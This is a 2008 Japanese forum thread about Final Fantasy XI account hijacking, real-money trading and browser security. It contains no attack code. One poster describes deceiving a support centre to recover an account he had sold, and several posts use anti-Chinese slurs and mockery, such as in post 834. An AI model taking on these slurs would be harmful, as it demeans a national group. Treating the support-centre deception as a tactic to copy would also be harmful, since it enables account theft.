807 ：既にその名前は使われています：2008/02/10(日) 04:16:36.89 ID:8jrNCyZt
アカハックされた人は、あくびしたライオンの口に飛び込んだウサギのようなもの
808 ：既にその名前は使われています：2008/02/10(日) 04:21:52.26 ID:TT46WkIu
アカハックされた人は、部屋中に仕掛けられたゴキブリホイホイに飛び込んだゴキブリのようなものかも試練
もちろんゴキブリホイホイはバージョンアップしつづけてる
もちろんゴキブリホイホイはバージョンアップしつづけてる
809 ：既にその名前は使われています：2008/02/10(日) 04:24:27.40 ID:RGT25ojr
ウサギってライオンがすんでいるところに居たっけ？
810 ：既にその名前は使われています：2008/02/10(日) 04:59:15.01 ID:t+AZcs3c
テリガン岬
811 ：既にその名前は使われています：2008/02/10(日) 06:43:20.38 ID:fZioMRFh
ジャングルの王者の漫画では確か同じエリアにいた気がするｗ
812 ：既にその名前は使われています：2008/02/10(日) 08:38:46.24 ID:TuIQJsuS
あげとくよん
813 ：既にその名前は使われています：2008/02/10(日) 12:45:45.48 ID:TuIQJsuS
814 ：既にその名前は使われています：2008/02/10(日) 15:50:13.55 ID:a61toUUP
815 ：既にその名前は使われています：2008/02/10(日) 16:59:26.27 ID:rBqItwev
age
816 ：既にその名前は使われています：2008/02/10(日) 19:36:33.90 ID:IWGbbgeF
夕飯時の保守
817 ：既にその名前は使われています：2008/02/10(日) 20:57:55.21 ID:NQqv5ISG
>>755
>しかし名義が違うだけで、私としてはまっとうなプレイをしてきたつもりです。
名義が違う時点で真っ当じゃないと理解したほうがいいよ。
何かトラブルがあっても名義人以外は何もする権利がないのです。
どんなに頑張ってキャラを育てたとしてもあなたの物ではないのです。
>しかし名義が違うだけで、私としてはまっとうなプレイをしてきたつもりです。
名義が違う時点で真っ当じゃないと理解したほうがいいよ。
何かトラブルがあっても名義人以外は何もする権利がないのです。
どんなに頑張ってキャラを育てたとしてもあなたの物ではないのです。
818 ：既にその名前は使われています：2008/02/10(日) 21:57:27.54 ID:LippuPoA
さりげなくsegeてんな
819 ：既にその名前は使われています：2008/02/11(月) 00:40:37.42 ID:yWmA+nKK
保守
820 ：既にその名前は使われています：2008/02/11(月) 02:49:25.86 ID:yWmA+nKK
821 ：既にその名前は使われています：2008/02/11(月) 06:27:15.29 ID:FUGijNO2
age
822 ：既にその名前は使われています：2008/02/11(月) 08:44:30.55 ID:2xq4kcpx
パスワードが変わってるっぽい
823 ：既にその名前は使われています：2008/02/11(月) 08:58:01.77 ID:ocmHCTXx
垢ハックされた人
824 ：既にその名前は使われています：2008/02/11(月) 11:02:44.70 ID:+qlNGD5W
旧正月になったら、被害者が悪いとか捏造被害者ネタなどの中華業者の自作自演が無くなって
静かになりましたね。
静かになりましたね。
825 ：既にその名前は使われています：2008/02/11(月) 11:09:36.11 ID:7h3+qXx3
業者乙ｗしか言えないアホが多いから皆呆れて去って行っただけじゃ？
826 ：既にその名前は使われています：2008/02/11(月) 11:10:37.58 ID:Eek4Z5M3
RMTしてるやつも、
RMTしてる以外はまっとうにプレイしてるのにBANされた！とか思ってそうだ
RMTしてる以外はまっとうにプレイしてるのにBANされた！とか思ってそうだ
827 ：既にその名前は使われています：2008/02/11(月) 11:11:29.91 ID:Eek4Z5M3
>>825
釣られるのはいいが、sageるのはなんでなんだぜｗ
釣られるのはいいが、sageるのはなんでなんだぜｗ
828 ：既にその名前は使われています：2008/02/11(月) 11:15:58.72 ID:7h3+qXx3
専ブラ使ってるからsageがデフォなのよねー
いちいちチェック外すのもめんどいし。
sageでもスレ落ち予防の保守になるし、拘る奴って馬鹿だと思うわ
いちいちチェック外すのもめんどいし。
sageでもスレ落ち予防の保守になるし、拘る奴って馬鹿だと思うわ
829 ：既にその名前は使われています：2008/02/11(月) 11:18:35.13 ID:cYSfgolL
旧正月っていつまでだったっけ？
830 ：既にその名前は使われています：2008/02/11(月) 11:21:51.47 ID:+EMBpAC5
>>828
オレの専ブラは、一度チェックを外すとそのスレではその状態を保ってくれるんだぜ？
オレの専ブラは、一度チェックを外すとそのスレではその状態を保ってくれるんだぜ？
831 ：既にその名前は使われています：2008/02/11(月) 11:22:26.26 ID:+EMBpAC5
といいつつ、このスレでは初だったか。sageチェックを外しておこう。
832 ：既にその名前は使われています：2008/02/11(月) 11:23:58.51 ID:Eek4Z5M3
>>825
毎月買ってるけどBANされないよ＾＾としか言わない馬鹿がさいきん来てくれないからつまらない
毎月買ってるけどBANされないよ＾＾としか言わない馬鹿がさいきん来てくれないからつまらない
833 ：既にその名前は使われています：2008/02/11(月) 11:25:05.87 ID:2oZ6SDLM
>832
その人達なら「いまギル買ったら～」スレに出かけてる。
その人達なら「いまギル買ったら～」スレに出かけてる。
834 ：既にその名前は使われています：2008/02/11(月) 11:29:41.48 ID:7h3+qXx3
Janeだと設定欄からデフォでsageのチェックを予め外しておかないとダメだなー
スレ毎にagesageの設定変える事に必要性感じないから俺はそこまでする気はないわ～
スレ違いな話ばかりなので今年の旧正月は2/7が元日で
大体そこから1週間から10日は休みが続くらしいよとレスっとくよ～
俺も今検索しただけの知識レベルだけど。
まあ支那畜の仲でも底辺層の業者ちゃん達がフルに休みとれるのかは知りませんがねー
スレ毎にagesageの設定変える事に必要性感じないから俺はそこまでする気はないわ～
スレ違いな話ばかりなので今年の旧正月は2/7が元日で
大体そこから1週間から10日は休みが続くらしいよとレスっとくよ～
俺も今検索しただけの知識レベルだけど。
まあ支那畜の仲でも底辺層の業者ちゃん達がフルに休みとれるのかは知りませんがねー
835 ：既にその名前は使われています：2008/02/11(月) 11:43:51.03 ID:G3ku1sGP
罠URLを張り付けてたOCNが規制されたからその影響もあるんじゃないかな
836 ：既にその名前は使われています：2008/02/11(月) 12:09:40.81 ID:UUqPvo0k
規制されてたのはODNだぞ
もう解除されてるけどな
もう解除されてるけどな
837 ：既にその名前は使われています：2008/02/11(月) 12:24:39.00 ID:2xq4kcpx
おれは
このおでん鯖っぽいふいんきが好きだ
このおでん鯖っぽいふいんきが好きだ
838 ：既にその名前は使われています：2008/02/11(月) 12:57:29.26 ID:X6sknDqQ
複数の垢ハックスレやサイト見てるけど、
のっとられて初めておろおろして書き込みに来るやつ多い。
ネットサーフィンしてただけなのにこんなことされるなんて・・・；って。
地味だが公式でも発表してるし、これだけあちこちで騒がれてんのに…。
セキュリティ関係に誰もが詳しいわけじゃないってのはわかるが、
このテのあほは自業自得だよな。
のっとられて初めておろおろして書き込みに来るやつ多い。
ネットサーフィンしてただけなのにこんなことされるなんて・・・；って。
地味だが公式でも発表してるし、これだけあちこちで騒がれてんのに…。
セキュリティ関係に誰もが詳しいわけじゃないってのはわかるが、
このテのあほは自業自得だよな。
839 ：既にその名前は使われています：2008/02/11(月) 13:45:55.44 ID:1An70yTu
加害者が自業自得で逮捕されてない状態で、被害者の業を責めるのは無理だな。
今のFFは犯罪者の巣窟だから、セキュリティの知識がないなら止めろくらいか。
不正ツール使ってたアホはどうしようもないが。
今のFFは犯罪者の巣窟だから、セキュリティの知識がないなら止めろくらいか。
不正ツール使ってたアホはどうしようもないが。
840 ：既にその名前は使われています：2008/02/11(月) 13:48:34.24 ID:QSMhLrfj
垢ハックサイトって、ノートンとかウィルスバスター入れてても
ダメなの？
ダメなの？
841 ：既にその名前は使われています：2008/02/11(月) 13:51:47.64 ID:1An70yTu
ノートンとかウィルスバスターが対処してなきゃダメ。
基本、踏んだらダメだと考えとけ。
基本、踏んだらダメだと考えとけ。
842 ：既にその名前は使われています：2008/02/11(月) 13:56:49.15 ID:QSMhLrfj
ウィルス対策ソフト入れててもダメな場合があるのか。
前に使ってたんだけど、PS2のブラウザソフトで踏んだりしたら
PS2でも垢ハックされたりするのかな？
前に使ってたんだけど、PS2のブラウザソフトで踏んだりしたら
PS2でも垢ハックされたりするのかな？
843 ：既にその名前は使われています：2008/02/11(月) 14:33:03.65 ID:iF8x4bOH
>>842
技術的には可能だと思われる。
ＰＳ２ブラウザの脆弱性情報はＰＣほど広く出回っているわけじゃないだろうが
PSPだのiPodだののクラックも脆弱性を見つけられてヤラれてるわけだし、
安全とは思わない方がよさそうだ。
物理的に分けておくのが安全だろうね。
技術的には可能だと思われる。
ＰＳ２ブラウザの脆弱性情報はＰＣほど広く出回っているわけじゃないだろうが
PSPだのiPodだののクラックも脆弱性を見つけられてヤラれてるわけだし、
安全とは思わない方がよさそうだ。
物理的に分けておくのが安全だろうね。
844 ：既にその名前は使われています：2008/02/11(月) 15:07:26.64 ID:2xq4kcpx
まぁ上級者だろうと無知で初級者でもスクエニの対応は同じだｗ
慌てようが騒ごうがアイテム１００％は戻らないしギルも帰ってこない
思い出もほとんど、いや、全部無くなる。
見ている限りは、韓国の南大門が燃え落ちるニュースを見たときの心境だ。
新たな獲物はまだですか？
慌てようが騒ごうがアイテム１００％は戻らないしギルも帰ってこない
思い出もほとんど、いや、全部無くなる。
見ている限りは、韓国の南大門が燃え落ちるニュースを見たときの心境だ。
新たな獲物はまだですか？
845 ：既にその名前は使われています：2008/02/11(月) 15:30:28.19 ID:cYSfgolL
なるほど、17日までは静かなのね。
下流の人間程、あの国は｢現物支給がある｣とそれに頼って働かない国民だから、
等分は平和かな？
下流の人間程、あの国は｢現物支給がある｣とそれに頼って働かない国民だから、
等分は平和かな？
846 ：既にその名前は使われています：2008/02/11(月) 17:06:15.83 ID:yWmA+nKK
注意喚起age
847 ：既にその名前は使われています：2008/02/11(月) 18:07:18.45 ID:c+xfRGcm
>>845
油断しちゃダメだよ。ででお鯖では業者が休み明けでリポップしてきてるよ。
油断しちゃダメだよ。ででお鯖では業者が休み明けでリポップしてきてるよ。
848 ：既にその名前は使われています：2008/02/11(月) 21:08:43.16 ID:CdBZJuOb
uchino鯖で、業者に垢ハックされたキャラが白門でピンインシャウトしまくって監獄送りになったらしい。何がしたかったんだ
849 ：既にその名前は使われています：2008/02/11(月) 22:30:02.82 ID:M85UL2KT
どうしても欲しければはじめてパッケ買って捨て垢作ってギル買いして
欲しいアイテム買ってメインキャラにバザーすればいいだろ
欲しいアイテム買ってメインキャラにバザーすればいいだろ
850 ：既にその名前は使われています：2008/02/11(月) 22:38:42.22 ID:Ngz7+xfE
>>849
怪しいバザーの取引も見つかるんじゃ？ログ追えば全部判る、って言ってるし。
怪しいバザーの取引も見つかるんじゃ？ログ追えば全部判る、って言ってるし。
851 ：既にその名前は使われています：2008/02/11(月) 22:57:02.75 ID:1An70yTu
露骨な捨て垢なんかスルーされて本垢からBANされるに決まってるだろｗ
どんだけ低脳なんだよw
どんだけ低脳なんだよw
852 ：既にその名前は使われています：2008/02/12(火) 00:19:38.91 ID:/XGoRlQ0
そいやー明日のMSUpdateでIE7が自動で入るんだっけ?
853 ：既にその名前は使われています：2008/02/12(火) 00:27:07.86 ID:UbKSie38
>>848
日曜のゴールデンタイムに2秒毎にピンイン暴言シャウト長時間してたね。
知り合いらしき人が「本人じゃなくて、アカハックされてます。」
「ご迷惑おかけしてます、すみません」ってシャウトしてて可愛そうだったな。
ピンイン詳しくなくて最初の「cao ni ma」をスクエニに対して言ってるのしか
分からなかったけど。
日曜のゴールデンタイムに2秒毎にピンイン暴言シャウト長時間してたね。
知り合いらしき人が「本人じゃなくて、アカハックされてます。」
「ご迷惑おかけしてます、すみません」ってシャウトしてて可愛そうだったな。
ピンイン詳しくなくて最初の「cao ni ma」をスクエニに対して言ってるのしか
分からなかったけど。
854 ：既にその名前は使われています：2008/02/12(火) 01:59:48.67 ID:VQEndXYC
ねるほ
855 ：既にその名前は使われています：2008/02/12(火) 07:03:59.64 ID:6UZMgFtR
このご時世,簡単に垢ハック食らうのは
社会の底辺の人かツーラーだろ
社会の底辺の人かツーラーだろ
856 ：既にその名前は使われています：2008/02/12(火) 07:22:22.88 ID:HL+LTBwm
＞ピンイン詳しくなくて最初の「cao ni ma」をスクエニに対して言ってるのしか
業者も商売苦しくてブチギレ状態か
業者も商売苦しくてブチギレ状態か
857 ：既にその名前は使われています：2008/02/12(火) 08:01:58.06 ID:Von46lJK
>ピンイン詳しくなくて最初の「cao ni ma」をスクエニに対して言ってるのしか
それ、中身業者じゃなくて
ハックくらって身ぐるみ剥がされて
サポセンに連絡入れたけど対応がアレなので
自暴自棄になった本人の可能性もあるね
それ、中身業者じゃなくて
ハックくらって身ぐるみ剥がされて
サポセンに連絡入れたけど対応がアレなので
自暴自棄になった本人の可能性もあるね
858 ：既にその名前は使われています：2008/02/12(火) 08:27:53.35 ID:HL+LTBwm
＞【ピンイン】暴言シャウト
＞スクエニに対して
>857
！？
＞スクエニに対して
>857
！？
859 ：既にその名前は使われています：2008/02/12(火) 09:08:11.70 ID:3vZA5iR+
860 ：既にその名前は使われています：2008/02/12(火) 09:52:55.57 ID:IyAAh+OI
ちょっといい？
３年前に出来心でアカウントを某オークションで売ったんだけどまたやりたくなっちゃった場合
サポセンに電話すればIDとパス教えてくれるのかな？？
売った奴は今はやってないっぽい。連絡は取れないけど。
３年前に出来心でアカウントを某オークションで売ったんだけどまたやりたくなっちゃった場合
サポセンに電話すればIDとパス教えてくれるのかな？？
売った奴は今はやってないっぽい。連絡は取れないけど。
861 ：既にその名前は使われています：2008/02/12(火) 10:15:08.87 ID:HL+LTBwm
！？
862 ：既にその名前は使われています：2008/02/12(火) 10:17:52.87 ID:VmAHIB3l
>>860
ココで聞く前に、とりあえず当たって砕けろだ！ｗｗ
ココで聞く前に、とりあえず当たって砕けろだ！ｗｗ
863 ：既にその名前は使われています：2008/02/12(火) 11:11:35.52 ID:IyAAh+OI
昼休みにサポセンにダメ元で突撃してみるわ！
でも、もしID、パス教えてもらえたとしたら詐欺罪になるんかな？おれ
でも、もしID、パス教えてもらえたとしたら詐欺罪になるんかな？おれ
864 ：既にその名前は使われています：2008/02/12(火) 11:32:37.02 ID:BnrkanZg
まあやってみたらいいんじゃない？
少し考えればすぐ結論出る事だと思うけど。
少し考えればすぐ結論出る事だと思うけど。
865 ：既にその名前は使われています：2008/02/12(火) 11:53:40.24 ID:IyAAh+OI
今時間が出来たんで電話したら購入者は住所、電話番号の変更をしていなかったため本人確認が出来ID、再発行のパスワード教えてもらえました。
866 ：既にその名前は使われています：2008/02/12(火) 11:54:39.29 ID:IyAAh+OI
ただ、サポセンには売ったことは伏せて、IDパスを紛失したと伝えました。
867 ：既にその名前は使われています：2008/02/12(火) 12:10:58.02 ID:BnrkanZg
あーあ、やっちゃったｗ
立派なソーシャルハッキング完遂おめでとうｗ
立派なソーシャルハッキング完遂おめでとうｗ
868 ：既にその名前は使われています：2008/02/12(火) 12:25:29.28 ID:xQR7vmaI
第18回 失敗しないパスワード管理（後編）
ttp://itpro.nikkeibp.co.jp/article/COLUMN/20071126/287918/?ST=security
今回のポイント
●10文字以上で英数字記号を含むパスワードは，解読される危険がほとんどありません。
●パスワードは，盗聴されることもあります。盗聴を防ぐには，
暗号化を使ったうえで，相手の電子証明書を確認するといいでしょう。
●定期的にパスワードを変えるのは有効な対策です。
覚えられないなら，メモしてパソコンとは離して保管しましょう。
パスワード盗聴はユーザー側のせいではないのかな？
ルーターとかやられた場合はユーザーが悪いだろうけれど。
ttp://itpro.nikkeibp.co.jp/article/COLUMN/20071126/287918/?ST=security
今回のポイント
●10文字以上で英数字記号を含むパスワードは，解読される危険がほとんどありません。
●パスワードは，盗聴されることもあります。盗聴を防ぐには，
暗号化を使ったうえで，相手の電子証明書を確認するといいでしょう。
●定期的にパスワードを変えるのは有効な対策です。
覚えられないなら，メモしてパソコンとは離して保管しましょう。
パスワード盗聴はユーザー側のせいではないのかな？
ルーターとかやられた場合はユーザーが悪いだろうけれど。
869 ：既にその名前は使われています：2008/02/12(火) 12:39:03.14 ID:POEcH4DI
870 ：既にその名前は使われています：2008/02/12(火) 13:07:10.58 ID:/1ZKTsaP
ついにこのスレから逮捕者が出るわけだなｗ
まあ、スレ趣旨と違ったベクトルではあるがｗ
記念パピコ♪
まあ、スレ趣旨と違ったベクトルではあるがｗ
記念パピコ♪
871 ：既にその名前は使われています：2008/02/12(火) 13:08:07.30 ID:/1ZKTsaP
872 ：既にその名前は使われています：2008/02/12(火) 13:10:32.28 ID:IyAAh+OI
と、言う結果になりますよね 常識的に考えて。
諦めたので今、FF11注文してきました。
諦めたので今、FF11注文してきました。
873 ：既にその名前は使われています：2008/02/12(火) 13:11:48.84 ID:/1ZKTsaP
ﾀﾊｰ
釣られちゃったのか。俺
釣られちゃったのか。俺
874 ：既にその名前は使われています：2008/02/12(火) 13:14:05.79 ID:IyAAh+OI
>>873
いや。まじでサポセンに電話したんだけど、本人確認できないから教えられないって断られちゃったのよｗ
いや。まじでサポセンに電話したんだけど、本人確認できないから教えられないって断られちゃったのよｗ
875 ：既にその名前は使われています：2008/02/12(火) 13:18:38.53 ID:BnrkanZg
良かったじゃないか、未遂の段階で終わって。
もし本当に聞き出せてログインしてたらその瞬間から
不正アクセス禁止法抵触に加え窃盗罪で犯罪者への道一直線ですよ？
もし本当に聞き出せてログインしてたらその瞬間から
不正アクセス禁止法抵触に加え窃盗罪で犯罪者への道一直線ですよ？
876 ：既にその名前は使われています：2008/02/12(火) 13:23:35.99 ID:H1FOPJ8u
電話番号も住所も変えてなかったのに、なぜ本人確認が取れなかったのぜ
ﾀｲｰﾎ恐れて急に嘘にしたように思えるｗ
ﾀｲｰﾎ恐れて急に嘘にしたように思えるｗ
877 ：既にその名前は使われています：2008/02/12(火) 13:27:16.84 ID:IyAAh+OI
キャラ売ったときは目先の金に目がくらんで売っちゃったけど次からは（今後出る、次世代MMOも含め）アカウントは
売らない事にします。
RTMもそうだけど、ぶっちゃけ以前」FF11やってたころはギルがなくなるとヤフオクで買って補充してました。
金策してる時間が無駄だと思っていたので楽して金を手に入れられたし・・・
当時は今ほどRMTに対する処分はきつくなく、買った側が処分されるなんて聞いたことも無い状況でしたし。
今後はアカウントを剥奪される可能性が高いのでRMTには手を出さない予定です。
売らない事にします。
RTMもそうだけど、ぶっちゃけ以前」FF11やってたころはギルがなくなるとヤフオクで買って補充してました。
金策してる時間が無駄だと思っていたので楽して金を手に入れられたし・・・
当時は今ほどRMTに対する処分はきつくなく、買った側が処分されるなんて聞いたことも無い状況でしたし。
今後はアカウントを剥奪される可能性が高いのでRMTには手を出さない予定です。
878 ：既にその名前は使われています：2008/02/12(火) 13:28:56.79 ID:IyAAh+OI
879 ：既にその名前は使われています：2008/02/12(火) 13:29:10.21 ID:Lmg8hpDd
>>867
ID:IyAAh+OIを不正アクセスと立証するのは大変かもよ。
前提として”ID譲渡”契約が成立したのか（ID情報の変更をしてない>>865）どうか不明だし、
ID自体、もともと■とIyAAh+OIとの間の貸借契約で、もしソレの権利移動が行われるなら、
元所有者と現の間だけでなく■も知らなきゃいけないし■自体は又貸し行為を禁じているので、
現時点でそこらはっきりさせたら契約（ID）自体失効している可能性が大きい。
つまり契約当事者がはっきりしないIDにアクセスが不正になるか、は判断が難しいと思う。
（FFXIでの垢買い行為が灰色なのはここらがはっきりしていなくて取引者の権利が守られないから）
結局罪に問えるとしたら約束不履行、普通の詐欺罪だな。こっちのほうが警察すばやく動くけどな。
ID:IyAAh+OIを不正アクセスと立証するのは大変かもよ。
前提として”ID譲渡”契約が成立したのか（ID情報の変更をしてない>>865）どうか不明だし、
ID自体、もともと■とIyAAh+OIとの間の貸借契約で、もしソレの権利移動が行われるなら、
元所有者と現の間だけでなく■も知らなきゃいけないし■自体は又貸し行為を禁じているので、
現時点でそこらはっきりさせたら契約（ID）自体失効している可能性が大きい。
つまり契約当事者がはっきりしないIDにアクセスが不正になるか、は判断が難しいと思う。
（FFXIでの垢買い行為が灰色なのはここらがはっきりしていなくて取引者の権利が守られないから）
結局罪に問えるとしたら約束不履行、普通の詐欺罪だな。こっちのほうが警察すばやく動くけどな。
880 ：既にその名前は使われています：2008/02/12(火) 14:44:49.74 ID:ZFjN+oym
881 ：既にその名前は使われています：2008/02/12(火) 17:15:48.93 ID:HVA8msu9
age
882 ：既にその名前は使われています：2008/02/12(火) 19:22:47.00 ID:POEcH4DI
>>878
「実は教えられなかった」
「実は本人確認ができなかった」
「実は住所変えられてた」
と、後出しでコロコロ変えられたんじゃ信じろってほうがむりだｗ
嘘つきの典型的症状だからな、最初にウソ言って、取り繕うためにウソを重ねるのって。
なんで、そういうどうでもいいことでウソつくかねえ？
空気を吸うようにウソつくようなヤツが信じられるわけねーだろ
それでなくとも規約違反やってる、と自慢げに公言してるやつが
「実は教えられなかった」
「実は本人確認ができなかった」
「実は住所変えられてた」
と、後出しでコロコロ変えられたんじゃ信じろってほうがむりだｗ
嘘つきの典型的症状だからな、最初にウソ言って、取り繕うためにウソを重ねるのって。
なんで、そういうどうでもいいことでウソつくかねえ？
空気を吸うようにウソつくようなヤツが信じられるわけねーだろ
それでなくとも規約違反やってる、と自慢げに公言してるやつが
883 ：既にその名前は使われています：2008/02/12(火) 21:45:19.16 ID:MSCltc/n
しかも2chだしな
884 ：既にその名前は使われています：2008/02/12(火) 21:51:27.50 ID:IVRPNLhd
構ってちゃんなんだからほっとけよ
885 ：既にその名前は使われています：2008/02/12(火) 22:28:49.05 ID:7CkRHrlw
噂の次世代MMOはPOLから離してくれよｗ
886 ：既にその名前は使われています：2008/02/13(水) 00:40:19.94 ID:VSjOy6Dm
あげ
887 ：既にその名前は使われています：2008/02/13(水) 01:03:05.25 ID:npONhH8l
確か、今日WindowsUpdateがあるぞー
IE7に自動でなるぞー
IE7に自動でなるぞー
888 ：既にその名前は使われています：2008/02/13(水) 03:42:30.85 ID:LCeYm8ei
１３日に自動でーって書いてあったな。
IE7はバグだらけっていう噂だがどうなんすか
IE7はバグだらけっていう噂だがどうなんすか
889 ：既にその名前は使われています：2008/02/13(水) 06:58:20.80 ID:rAOUFOPp
自動が嫌なら手動にすればイイジャナイ
890 ：既にその名前は使われています：2008/02/13(水) 07:06:21.88 ID:25nW+WTD
自動じゃ無いけどね
これだから..．
これだから..．
891 ：既にその名前は使われています：2008/02/13(水) 08:02:18.62 ID:ocm9Io8X
>>888
バグはよく知らんけれど会社の仕事受けるためのシステムが
IE6依存でIE7対応してないから困る。
でも・・・IE6動く環境を必須としておきながらIE7対応してない
日立のあの糞ッたれシステムズはバ開発の巣窟だと思った。
バグはよく知らんけれど会社の仕事受けるためのシステムが
IE6依存でIE7対応してないから困る。
でも・・・IE6動く環境を必須としておきながらIE7対応してない
日立のあの糞ッたれシステムズはバ開発の巣窟だと思った。
892 ：既にその名前は使われています：2008/02/13(水) 08:27:26.73 ID:1uUBSR98
Vista(IE7)が出てからどれだけ時間が経ってるんだと…。
893 ：既にその名前は使われています：2008/02/13(水) 12:23:44.68 ID:ocm9Io8X
hoshu
894 ：既にその名前は使われています：2008/02/13(水) 13:07:52.02 ID:1PFh9p3+
agu
895 ：既にその名前は使われています：2008/02/13(水) 14:56:15.72 ID:7WvjphFJ
保守
896 ：既にその名前は使われています：2008/02/13(水) 15:07:50.88 ID:2UPsV3Nr
中華もおとなしくなったんかな？？？
897 ：既にその名前は使われています：2008/02/13(水) 16:53:35.72 ID:iZZkFfk8
STTの方が先に大人しくなってしまいました。
旧正月終わればまた戻っ てくるにゃ
去年もそんな感じだったもの
去年もそんな感じだったもの
899 ：既にその名前は使われています：2008/02/13(水) 20:46:30.65 ID:1PFh9p3+
業者も買い手ももう虫の息だね
ageるのはこれで最後でいいかな
ageるのはこれで最後でいいかな
900 ：既にその名前は使われています：2008/02/13(水) 21:25:16.96 ID:rrDvdGp6
だから今は中華が(ry
901 ：既にその名前は使われています：2008/02/13(水) 22:02:58.91 ID:f0yIrPs7
そうはいかん！
虫の息程度じゃヌルい！！
絶滅に追い込むくらいの意気込みで頼むぜSTT!!
そんなわけで、age
虫の息程度じゃヌルい！！
絶滅に追い込むくらいの意気込みで頼むぜSTT!!
そんなわけで、age
902 ：既にその名前は使われています：2008/02/13(水) 22:52:22.18 ID:qJM8Ubzi
次世代出たしβ・サービス今年～来年で動きが来るとして
早々に撤収したんじゃね？
早々に撤収したんじゃね？
903 ：既にその名前は使われています：2008/02/13(水) 23:22:17.28 ID:+GS5vH4s
904 ：既にその名前は使われています：2008/02/13(水) 23:55:56.34 ID:xdTdlu3p
その書き込みはきっと業者の策だろ？通報活動を抑えようとしてるんじゃ？
旧正月あけたら大量POPは確定している
旧正月あけたら大量POPは確定している
905 ：既にその名前は使われています：2008/02/14(木) 01:04:02.25 ID:uQawhDxh
906 ：既にその名前は使われています：2008/02/14(木) 01:22:09.53 ID:HR8Z8xV2
一生旧正月でいいから消えてくれっていうｗｗｗ
907 ：既にその名前は使われています：2008/02/14(木) 01:35:03.38 ID:d5jy71/d
旧正月以外休日なしでタコ部屋でFF・・・・
まだ肉体労働系のタコ部屋よりはマシなんだろうな。
まだ肉体労働系のタコ部屋よりはマシなんだろうな。
908 ：既にその名前は使われています：2008/02/14(木) 02:05:26.20 ID:rz3pXgIJ
>>890
おまいさんはきっと手動でupdateやってたんだろうな
おまいさんはきっと手動でupdateやってたんだろうな
909 ：既にその名前は使われています：2008/02/14(木) 06:14:34.32 ID:k1L0xoJA
新しければ安全ってこともないしな
当然IE7は見送り
IE自体起動していないがw
当然IE7は見送り
IE自体起動していないがw
910 ：既にその名前は使われています：2008/02/14(木) 06:50:04.41 ID:zJx3CHnx
出たばかりのなんて穴だらけに決まってる
まぁFirefoxな俺には関係ないけど
まぁFirefoxな俺には関係ないけど
911 ：既にその名前は使われています：2008/02/14(木) 07:00:01.65 ID:wHoUscHE
初心者は疑いもなくアップデートしたんだろうな
暫くは保守必要なさそうだな
暫くは保守必要なさそうだな
912 ：既にその名前は使われています：2008/02/14(木) 08:27:32.60 ID:5NtcXpiG
913 ：既にその名前は使われています：2008/02/14(木) 11:36:38.80 ID:GCK99BUy
保守。
積極的な救済策の話も全然出てこないし、今のところ自己防衛するしかない。
皆気をつけろよ～
積極的な救済策の話も全然出てこないし、今のところ自己防衛するしかない。
皆気をつけろよ～
914 ：既にその名前は使われています：2008/02/14(木) 13:44:31.17 ID:zruzMJjg
保守
915 ：既にその名前は使われています：2008/02/14(木) 15:16:50.12 ID:5NtcXpiG
保守
916 ：既にその名前は使われています：2008/02/14(木) 15:33:29.97 ID:ZB1gT2g2
なにこの書き込みの少なさは。
今までの書き込みは全部業者だったのか？？？
今までの書き込みは全部業者だったのか？？？
917 ：既にその名前は使われています：2008/02/14(木) 15:40:29.34 ID:d5jy71/d
旧正月の休みってどれくらいもらえるんだろうね。
沿岸部から内陸部まで日本縦断できるくらいの距離があるから
移動時間だけで3日くらいかかるはず。
1週間くらいは業者も休み貰ってるのかね。
沿岸部から内陸部まで日本縦断できるくらいの距離があるから
移動時間だけで3日くらいかかるはず。
1週間くらいは業者も休み貰ってるのかね。
918 ：既にその名前は使われています：2008/02/14(木) 17:09:35.17 ID:eikrwaqt
そーいえば、旧正月の初め頃
豪雪で止まってた かの国の列車は
動いたんだろうか？
豪雪で止まってた かの国の列車は
動いたんだろうか？
919 ：既にその名前は使われています：2008/02/14(木) 19:55:19.54 ID:k1L0xoJA
920 ：既にその名前は使われています：2008/02/14(木) 21:27:35.45 ID:aWLuYd2k
やりかねんな
921 ：既にその名前は使われています：2008/02/14(木) 21:58:50.97 ID:UgGYN+aS
垢売りしてサポセン電話して取り戻したら
詐欺扱いになるんかね。
判例みたことないんだが。
詐欺扱いになるんかね。
判例みたことないんだが。
922 ：既にその名前は使われています：2008/02/14(木) 22:51:05.46 ID:MNflpd3V
923 ：既にその名前は使われています：2008/02/14(木) 23:03:43.74 ID:k1L0xoJA
>>921
すげぇ割に合わない犯罪ですねw
すげぇ割に合わない犯罪ですねw
924 ：既にその名前は使われています：2008/02/14(木) 23:24:15.15 ID:NXFyGMQD
925 ：既にその名前は使われています：2008/02/14(木) 23:26:46.44 ID:5NtcXpiG
>>921
非正規ユーザーの買い手が正規ユーザーに取り戻されたと言うことが判るわけがないだろう。
非正規ユーザーの買い手が正規ユーザーに取り戻されたと言うことが判るわけがないだろう。
926 ：既にその名前は使われています：2008/02/14(木) 23:28:44.16 ID:d5jy71/d
中国人は同郷意識が強いから、同じ中国人同士でもよそ者には冷たいぜ。
927 ：既にその名前は使われています：2008/02/14(木) 23:38:44.90 ID:9YwDlSoI
メールや銀行口座の記録が残ってれば、刑事事件だからお縄だろ。
垢が正規か非正規かではなく、結果として金を騙し取った犯罪行為だからな。
もちろん、規約違反なので、詐偽が認められれば、該当垢は垢BANだが。
垢が正規か非正規かではなく、結果として金を騙し取った犯罪行為だからな。
もちろん、規約違反なので、詐偽が認められれば、該当垢は垢BANだが。
928 ：既にその名前は使われています：2008/02/15(金) 00:01:13.10 ID:5NtcXpiG
929 ：既にその名前は使われています：2008/02/15(金) 00:04:31.32 ID:11F2Dirr
詐偽られた側が警察に届けるだけ。
930 ：既にその名前は使われています：2008/02/15(金) 02:10:38.07 ID:eq76+1YY
931 ：既にその名前は使われています：2008/02/15(金) 02:20:14.32 ID:H1dUeMED
ニュースになってないから知らなかったが
stage6が2/10クラックされていたんだな。
ステ6行ったと思ったら他サイトへ飛ばされた奴は
データ流出してるから確認しとけよ。
stage6が2/10クラックされていたんだな。
ステ6行ったと思ったら他サイトへ飛ばされた奴は
データ流出してるから確認しとけよ。
932 ：既にその名前は使われています：2008/02/15(金) 06:19:50.04 ID:LTVU3iR+
ほしゅあげ
933 ：既にその名前は使われています：2008/02/15(金) 08:28:03.85 ID:CNr8odM7
保守
934 ：既にその名前は使われています：2008/02/15(金) 09:51:38.20 ID:tewNXPX9
RMTってぶっちゃけLv低い頃はやったもんがちだよな。
１００万ギルくらいなら最悪でも一時停止くらいの処分だし。
俺は警告くらったがアカ停止にはならなかった。もうやりませんが。
１００万ギルくらいなら最悪でも一時停止くらいの処分だし。
俺は警告くらったがアカ停止にはならなかった。もうやりませんが。
